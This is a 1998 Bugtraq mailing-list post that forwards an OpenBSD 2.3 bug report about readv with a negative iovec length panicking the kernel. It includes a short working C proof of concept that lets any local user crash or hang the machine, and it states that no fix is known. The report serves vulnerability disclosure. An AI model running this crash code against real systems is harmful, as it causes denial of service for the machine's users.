Date: Mon, 27 Jul 1998 11:23:59 -0600
From: Michael Fuhr <mfuhr@DIMENSIONAL.COM.>
To: BUGTRAQ@NETSPACE.ORG
Subject: Fwd: Any user can panic OpenBSD machine
-----Forwarded message from jon@oaktree.co.uk-----
Message-Id: <199807271126.MAA16724@chalk.oaktree.net.uk.>
Date: Mon, 27 Jul 1998 12:26:36 +0100 (BST)
From: jon@oaktree.co.uk
To: gnats@openbsd.org
X-Send-Pr-Version: 3.97
Subject: kernel/549: Any user can panic OpenBSD machine
Sender: owner-bugs@openbsd.org
>Number: 549
>Category: kernel
>Synopsis: readv with -ve block size panics kernel
>Confidential: yes
>Severity: critical
>Priority: high
>Responsible: bugs
>State: open
>Class: sw-bug
>Submitter-Id: net
>Arrival-Date: Mon Jul 27 05:40:02 MDT 1998
>Last-Modified:
>Originator: Jon Ribbens
>Organization:
\/ Jon Ribbens / jon@oaktree.co.uk
>Release: 2.3
>Environment:
System : OpenBSD 2.3
Architecture: OpenBSD.i386
Machine : i386
>Description:
readv with one of the blocks having a -ve size panics the kernel.
Oops.
>How-To-Repeat:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
int main(void) {
struct iovec iov[1];
char buffer[1024];
iov[0].iov_base = buffer;
iov[0].iov_len = -1;
return readv(0, iov, 1);
}
run the above program, type a few characters, press return, observe
either kernel panic or machine hang. panic message is
"panic: ureadc: non-positive resid". Any user can do this.
>Fix:
Dunno I'm afraid.
>Audit-Trail:
>Unformatted:
-----End of forwarded message-----
--
Michael Fuhr
http://www.fuhr.net/~mfuhr/
